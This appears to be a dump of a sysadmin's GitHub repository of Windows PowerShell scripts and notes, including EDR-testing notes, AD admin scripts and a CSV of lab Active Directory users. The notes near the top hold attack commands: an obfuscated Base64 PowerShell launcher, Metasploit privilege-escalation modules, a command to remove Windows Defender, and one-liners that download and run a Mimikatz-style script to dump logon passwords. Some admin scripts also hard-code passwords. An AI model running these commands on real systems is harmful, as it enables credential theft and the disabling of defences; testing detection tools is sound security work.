| 54 | 55 | 56 | https://falcon.us-2.crowdstrike.com/investigate/events/en-US/app/eam2/search?q=search%20event_platform%3DWin%20event_simpleName%3DAgentConnect%20earliest%3D-7d%20latest%3Dnow%0A%7C%20dedup%20aid%0A%7C%20eval%20ConnectionProtocol%3Dcase(ConnectionProtocol_decimal%3D128%2C%20%22TLS%201.0%22%2C%20ConnectionProtocol_decimal%3D512%2C%20%22TLS%201.1%22%2C%20ConnectionProtocol_decimal%3D2048%2C%20%22TLS%201.2%22)%0A%7C%20rename%20ConfigIDBuild_decimal%20as%20SensorBuild%0A%7C%20join%20aid%20%0A%20%20%20%20%5Bsearch%20event_platform%3DWin%20event_simpleName%3DOSVersionInfo%20earliest%3D-7d%20latest%3Dnow%20%0A%20%20%20%20%7C%20dedup%20aid%0A%20%20%20%20%7C%20fields%20aid%20WinOSVersion%5D%0A%7C%20table%20aid%20ComputerName%20WinOSVersion%20ConnectionProtocol%20SensorBuild&display.page.search.mode=verbose&dispatch.sample_ratio=1&earliest=-24h%40h&latest=now&display.page.search.tab=statistics&display.general.type=statistics&sid=1607698670.6254 57 | 58 | 59 | 60 | 61 | https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/ 62 | 63 | 64 | 65 | 66 | https://github.com/marcos-borges/files/ 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\WJFNKQVQSMIXON').tFRVK))); 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | run post/windows/gather/win_privs 83 | 84 | 85 | 86 | 87 | 88 | 89 | use exploit/windows/local/ask 90 | 91 | [System.Net.WebProxy]::GetDefaultProxy() 92 | 93 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 94 | 95 | 96 | https://github.com/marcos-borges/PS-DFIR 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | Uninstall-WindowsFeature -Name Windows-Defender 105 | 106 | 107 | 108 | 109 | 110 | https://falcon.us-2.crowdstrike.com/support/documentation/62/streaming-api-event-dictionary 111 | 112 | 113 | 114 | 115 | https://github.com/op7ic/EDR-Testing- 116 | 117 | 118 | https://falcon.us-2.crowdstrike.com/activity/detections?groupBy=technique_id&sortBy=date%3Adesc 119 | https://falcon.us-2.crowdstrike.com/activity/detections?groupBy=technique&sortBy=term%3Aasc 120 | https://falcon.us-2.crowdstrike.com/activity/detections?groupBy=tactic&sortBy=term%3Aasc 121 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27BITS%20Jobs%27&groupBy=none&sortBy=date%3Adesc 122 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27PowerShell%27&groupBy=none&sortBy=date%3Adesc 123 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27Regsvr32%27&groupBy=none&sortBy=date%3Adesc 124 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27Trusted%20Developer%20Utilities%27&groupBy=none&sortBy=date%3Adesc 125 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27Rundll32%27&groupBy=none&sortBy=date%3Adesc 126 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27Indirect%20Command%20Execution%27&groupBy=none&sortBy=date%3Adesc 127 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27Deobfuscate%2FDecode%20Files%20or%20Information%27&groupBy=none&sortBy=date%3Adesc 128 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27NTFS%20File%20Attributes%27&groupBy=none&sortBy=date%3Adesc 129 | https://falcon.us-2.crowdstrike.com/activity/detections?filter=technique%3A%27Process%20Injection%27&groupBy=none&sortBy=date%3Adesc 130 | https://falcon.us-2.crowdstrike.com/investigate/events/en-US/app/eam2/hunt_scheduledtask?earliest=-7d%40h&latest=now&form.computer=*&form.aid_tok=*&form.customer_tok=* 131 | 132 | 133 | 134 | 135 | 136 | https://github.com/EmpireProject/Empire 137 | 138 | 139 | 140 | C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -exec bypass -C "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (New-Object Net.WebClient).DownloadString('https://github.com/marcos-borges/files/raw/master/Invoke-Mimimi.ps1');Invoke-Mimimi -Command Privilege::debug" 141 | 142 | 143 | C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -exec bypass -C "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (New-Object Net.WebClient).DownloadString('https://github.com/marcos-borges/files/raw/master/Invoke-Mimimi.ps1');Invoke-Mimimi -Command Sekurlsa::logonpasswords" 144 | 145 | 146 | -------------------------------------------------------------------------------- /Reiniciaoserviço: -------------------------------------------------------------------------------- 1 | # Reinicia o serviço para liberar os shares administrativos 2 | Restart-Service Server -Force -Confirm:$True 3 | }​​ 4 | -------------------------------------------------------------------------------- /RemoverLicençasTS-Ativa: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Remover licença de TS ativa # 3 | ################################################# 4 | 5 | Get-WmiObject Win32_TSLicenseKeyPack 6 | wmic /namespace:\\root\CIMV2 PATH Win32_TSLicenseKeyPack CALL UninstallLicenseKeyPackWithId 5 7 | -------------------------------------------------------------------------------- /RenomerComputadorPowerShell: -------------------------------------------------------------------------------- 1 | # Renomear computador pelo powershell 2 | $info = Get-WmiObject -Class Win32_computerSystem # Cria a variável que armazena informações da máquina por WMI 3 | $info # Mostra as informações coletadas 4 | $info.Rename("Cliente02") # Utiliza a infomração coletada e o parametro rename muda o nome da estação que deve estar em aspas duplas 5 | # Agora é só reiniciar seu computador 6 | # Lembrando que é possível mudar nomes de estações em volume 7 | -------------------------------------------------------------------------------- /ResetPasswordAD_All: -------------------------------------------------------------------------------- 1 | dsmod user "cn=%1, dc=clearchannel, dc=com, dc=br" -pwd clear*2010 -mustchpwd yes 2 | -------------------------------------------------------------------------------- /ResetPasswordPorInvoke: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Reset de senha Admin via invoke # 3 | ################################################# 4 | 5 | Invoke-Command -ScriptBlock {net user administrator "Password01"} -ComputerName (Get-ADComputer -SearchBase "OU=test,OU=servers,DC=lab,DC=com" -Filter * | Select-Object -Expand Name) 6 | -------------------------------------------------------------------------------- /Restart-ComputerPS1: -------------------------------------------------------------------------------- 1 | # Define input parameters 2 | $cred = Get-credential 3 | 4 | Write-host "Obtendo lista de servidores de $computer" 5 | 6 | #Read file 7 | $computers = get-content "D:\Scripts\servers.txt 8 | foreach (#computer in $computers) { 9 | 10 | # Connect to WMI 11 | $wmi = get-wmiobject -class "Win32_OperatingSystem" ` 12 | -Credential $cred -namespace "root\cimv2" -computer $computer 13 | 14 | # Restart Computer 15 | foreach ($item in $wmi) { 16 | $wmi.reboot() 17 | write-host "Reiniciando o servidor $computer" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Revert Snapshot.ps1: -------------------------------------------------------------------------------- 1 | cls 2 | Write-Host 3 | Write-Host "Revertendo Snapshots. Aguarde..." 4 | Write-Host 5 | 6 | Get-VM | Get-VMSnapshot | Restore-VMSnapshot -Confirm:$false -Verbose 7 | -------------------------------------------------------------------------------- /SCCM-01: -------------------------------------------------------------------------------- 1 | #******* Format to access Input Parameters ******* 2 | # To use variable, prefix with '$'. eg. $message 3 | # Read more https://docs.servicenow.com/?context=CSHelp:IntegrationHub-PowerShell-Step 4 | 5 | #******* Reserved variables available when remoting type is Run on MID 6 | # $computer Host IP resolved from Connection alias 7 | # $cred Credential Object. Credential resolved via connection alias or credential alias. This can be used in conjunction with any cmd-let which support credential parameter eg. New-PSSession -credential $cred 8 | # $log_info mid property "mid.property.powershell.log_info" set on instance to enable debugging. So it's a flag available to act on and add any verbose logging if they want to in their script 9 | 10 | #******* Format to access Input Parameters ******* 11 | # To use variable, prefix with '$'. eg. $message 12 | # Read more https://docs.servicenow.com/?context=CSHelp:IntegrationHub-PowerShell-Step 13 | 14 | #******* Reserved variables available when remoting type is Run on MID 15 | # $computer Host IP resolved from Connection alias 16 | # $cred Credential Object. Credential resolved via connection alias or credential alias. This can be used in conjunction with any cmd-let which support credential parameter eg. New-PSSession -credential $cred 17 | # $log_info mid property "mid.property.powershell.log_info" set on instance to enable debugging. So it's a flag available to act on and add any verbose logging if they want to in their script 18 | 19 | param([string]$controle_it,$ScriptName = "GPUpdate") 20 | 21 | if (test-path env:\SNC_controle_it) { 22 | $controle_it += $env:SNC_controle_it; 23 | } 24 | 25 | # Import SCCM module 26 | Import-Module "$executingScriptDirectory\SCCMSpoke\SCCMMain" -DisableNameChecking 27 | 28 | 29 | SNCLog-ParameterInfo @("Running GPUpdate", $controle_it) 30 | 31 | function GPUpdatecommand(){ 32 | Import-Module -Name "$(split-path $Env:SMS_ADMIN_UI_PATH)\ConfigurationManager.psd1" 33 | Set-Location -path "$(Get-PSDrive -PSProvider CMSite):\"; 34 | $controle_ti = $args[0]; 35 | $Command = $args[1]; 36 | 37 | # Pré-avaliação 38 | $Marcador = "Inativa" 39 | $Device = Get-CMDevice -Name $controle_ti; 40 | if($Device){ 41 | if($Device.IsClient -like "TRUE" -and $Device.IsActive -like "TRUE"){ 42 | $Marcador = "Ativa" 43 | } 44 | } 45 | 46 | # Execução 47 | If($Marcador -like "Ativa"){ 48 | $ScriptObj = Get-CMScript -ScriptName $Command -Fast; 49 | $RunScript = Invoke-CMScript -InputObject $ScriptObj -Device $Device; 50 | } 51 | # Avaliação e Retorno 52 | If($Marcador -like "Inativa"){ 53 | Write-Host -ForegroundColor Red "Equipamento inativo ou sem agente do SCCM." 54 | } 55 | 56 | Else{ 57 | Write-host -ForegroundColor Green "GPUpdate em concluído" 58 | } 59 | } 60 | 61 | try { 62 | $session = Create-PSSession -sccmServerName $computer -credential $cred; 63 | Write-Host $properties, $ScriptName; 64 | Invoke-Command -Session $session -ScriptBlock ${function:GPUpdatecommand} -ArgumentList ($controle_it, $ScriptName); 65 | 66 | 67 | } catch { 68 | Write-Host $error 69 | } finally { 70 | if($session -ne $null) { 71 | Remove-PSSession -session $session 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /SCRIPT-IMPORTACAO-USUARIOS-AD-POPOVICI-01.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edupopov/powershell/6f3152c4a878194c3cf3ddd574d3d4b2acb42e2a/SCRIPT-IMPORTACAO-USUARIOS-AD-POPOVICI-01.xlsx -------------------------------------------------------------------------------- /SCRIPT-TESTE-DO-TIO-EDU-02.csv: -------------------------------------------------------------------------------- 1 | DN,objectClass,distinguishedName,sAMAccountName,sn,givenname,userPrincipalName,description,mail,telephoneNumber,wWWHomePage 2 | "CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.rodolfo.pericles,Pericles,Rodolfo,Rodolfo Pericles,Anl Infra II,adm.rodolfo.pericles@popovici.lab,1198563-8568,www.eduardopopovici.com 3 | "CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adan.lira,Lira,Adan,Adan Lira,Diretor de TI,adan.lira@popovici.lab,1198563-8569,www.eduardopopovici.com 4 | "CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",emerson.ranolfo,Ranolfo,Emerson,Emerson Ranolfo,Analista de RH,emerson.ranolfo@popovici.lab,1198563-8570,www.eduardopopovici.com 5 | "CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",liza.simpson,Simpson,Liza,Liza Simpson,Analista de DP,liza.simpson@popovici.lab,1198563-8571,www.eduardopopovici.com 6 | "CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",epaminondas.lima,Lima,Epaminondas,Epaminondas Lima,Vendedor,epaminondas.lima@popovici.lab,1198563-8572,www.eduardopopovici.com 7 | "CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",joanesio.limeira,Limeira,Joanesio,Joanesio Limeira,Engenheiro I,joanesio.limeira@popovici.lab,1198563-8573,www.eduardopopovici.com 8 | "CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.lucia,Lucia,Ana,Ana Lucia,Estagiario,ana.lucia@popovici.lab,1198563-8574,www.eduardopopovici.com 9 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.paulo,Paulo,Pedro,Pedro Paulo,Analista de Suporte,pedro.paulo@popovici.lab,1198563-8575,www.eduardopopovici.com 10 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.pedro.paulo,Paulo,Pedro,Pedro Paulo,Analista de Suporte,adm.pedro.paulo@popovici.lab,1198563-8576,www.eduardopopovici.com 11 | "CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",alison.barbosa,Barbosa,Alison,Alison Barbosa,Analista de Suporte,alison.barbosa@popovici.lab,1198563-8577,www.eduardopopovici.com 12 | "CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erica.carvalho,Carvalho,Erica,Erica Carvalho,Analista de DP,erica.carvalho@popovici.lab,1198563-8578,www.eduardopopovici.com 13 | "CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.paula,Paula,Ana,Ana Paula,Coordenador,ana.paula@popovici.lab,1198563-8579,www.eduardopopovici.com 14 | "CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",maria.luiza,Luiza,Maria,Maria Luiza,Vendedor,maria.luiza@popovici.lab,1198563-8580,www.eduardopopovici.com 15 | "CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ranieri.palermo,Palermo,Ranieri,Ranieri Palermo,Diretor Geral,ranieri.palermo@popovici.lab,1198563-8581,www.eduardopopovici.com 16 | "CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pablo.liso,Liso,Pablo,Pablo Liso,Zelador,pablo.liso@popovici.lab,1198563-8582,www.eduardopopovici.com 17 | "CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renato.souza,Souza,Renato,Renato Souza,Vendedor,renato.souza@popovici.lab,1198563-8583,www.eduardopopovici.com 18 | "CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pamela.andrade,Andrade,Pamela,Pamela Andrade,Vendedor,pamela.andrade@popovici.lab,1198563-8584,www.eduardopopovici.com 19 | "CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",laura.mazutti,Mazutti,Laura,Laura Mazutti,Atendente,laura.mazutti@popovici.lab,1198563-8585,www.eduardopopovici.com 20 | "CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erika.pauluci,Pauluci,Erika,Erika Pauluci,Atendente,erika.pauluci@popovici.lab,1198563-8586,www.eduardopopovici.com 21 | "CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",rick.brabo,Brabo,Rick,Rick Brabo,Atendente,rick.brabo@popovici.lab,1198563-8587,www.eduardopopovici.com 22 | "CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renner.lima,Lima,Renner,Renner Lima,Atendente,renner.lima@popovici.lab,1198563-8588,www.eduardopopovici.com 23 | "CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",penelope.charmosa,Charmosa,Penelope,Penelope Charmosa,Atendente,penelope.charmosa@popovici.lab,1198563-8589,www.eduardopopovici.com 24 | "CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulo.bravo,Bravo,Paulo,Paulo Bravo,Analista de Qualidade,paulo.bravo@popovici.lab,1198563-8590,www.eduardopopovici.com 25 | "CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jony.bravo,Bravo,Jony,Jony Bravo,Analista de Qualidade,jony.bravo@popovici.lab,1198563-8591,www.eduardopopovici.com 26 | "CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",cristina.santos,Santos,Cristina,Cristina Santos,Dev Phyton,cristina.santos@popovici.lab,1198563-8592,www.eduardopopovici.com 27 | "CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pietro.lopes,Lopes,Pietro,Pietro Lopes,Dev Phyton,pietro.lopes@popovici.lab,1198563-8593,www.eduardopopovici.com 28 | "CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",peterson.souza,Souza,Peterson,Peterson Souza,Dev Java,peterson.souza@popovici.lab,1198563-8594,www.eduardopopovici.com 29 | "CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",luciana.santos,Santos,Luciana,Luciana Santos,Anl Seguranca I,luciana.santos@popovici.lab,1198563-8595,www.eduardopopovici.com 30 | "CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",mariana.ribeiro,Ribeiro,Mariana,Mariana Ribeiro,Anl Seguranca III,mariana.ribeiro@popovici.lab,1198563-8596,www.eduardopopovici.com 31 | "CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.penso,Penso,Pedro,Pedro Penso,Pentester,pedro.penso@popovici.lab,1198563-8597,www.eduardopopovici.com 32 | "CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulinha.ribeiro,Ribeiro,Paulinha,Paulinha Ribeiro,Penterter,paulinha.ribeiro@popovici.lab,1198563-8598,www.eduardopopovici.com 33 | "CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",rita.remo,Remo,Rita,Rita Remo,Comprador,rita.remo@popovici.lab,1198563-8599,www.eduardopopovici.com 34 | "CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",luca.silva,Silva,Luca,Luca Silva,Comprador,luca.silva@popovici.lab,1198563-8600,www.eduardopopovici.com 35 | "CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",patricia.silva,Silva,Patricia,Patricia Silva,Comprador,patricia.silva@popovici.lab,1198563-8601,www.eduardopopovici.com 36 | "CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",peterpan.cabreiro,Cabreiro,Peterpan,Peterpan Cabreiro,Coordenador - Compras e Vendas,peterpan.cabreiro@popovici.lab,1198563-8602,www.eduardopopovici.com 37 | "CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",max.amui,Amui,Max,Max Amui,DBA,max.amui@popovici.lab,1198563-8603,www.eduardopopovici.com 38 | "CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.ricardo,Ricardo,Jose,Jose Ricardo,DBA,jose.ricardo@popovici.lab,1198563-8604,www.eduardopopovici.com 39 | "CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renata.limeira,Limeira,Renata,Renata Limeira,Atendente,renata.limeira@popovici.lab,1198563-8605,www.eduardopopovici.com 40 | "CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.panca,Panca,Jose,Jose Panca,Atendente,jose.panca@popovici.lab,1198563-8606,www.eduardopopovici.com 41 | "CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",flavio.ricardo,Ricardo,Flavio,Flavio Ricardo,Diretor Executivo,flavio.ricardo@popovici.lab,1198563-8607,www.eduardopopovici.com 42 | -------------------------------------------------------------------------------- /SCRIPT-TESTE-DO-TIO-EDU-02.txt: -------------------------------------------------------------------------------- 1 | DN,objectClass,distinguishedName,sAMAccountName,sn,givenname,userPrincipalName,description,mail,telephoneNumber,wWWHomePage 2 | "CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.rodolfo.pericles,Pericles,Rodolfo,Rodolfo Pericles,Anl Infra II,adm.rodolfo.pericles@popovici.lab,1198563-8568,www.eduardopopovici.com 3 | "CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adan.lira,Lira,Adan,Adan Lira,Diretor de TI,adan.lira@popovici.lab,1198563-8569,www.eduardopopovici.com 4 | "CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",emerson.ranolfo,Ranolfo,Emerson,Emerson Ranolfo,Analista de RH,emerson.ranolfo@popovici.lab,1198563-8570,www.eduardopopovici.com 5 | "CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",liza.simpson,Simpson,Liza,Liza Simpson,Analista de DP,liza.simpson@popovici.lab,1198563-8571,www.eduardopopovici.com 6 | "CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",epaminondas.lima,Lima,Epaminondas,Epaminondas Lima,Vendedor,epaminondas.lima@popovici.lab,1198563-8572,www.eduardopopovici.com 7 | "CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",joanesio.limeira,Limeira,Joanesio,Joanesio Limeira,Engenheiro I,joanesio.limeira@popovici.lab,1198563-8573,www.eduardopopovici.com 8 | "CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.lucia,Lucia,Ana,Ana Lucia,Estagiario,ana.lucia@popovici.lab,1198563-8574,www.eduardopopovici.com 9 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo 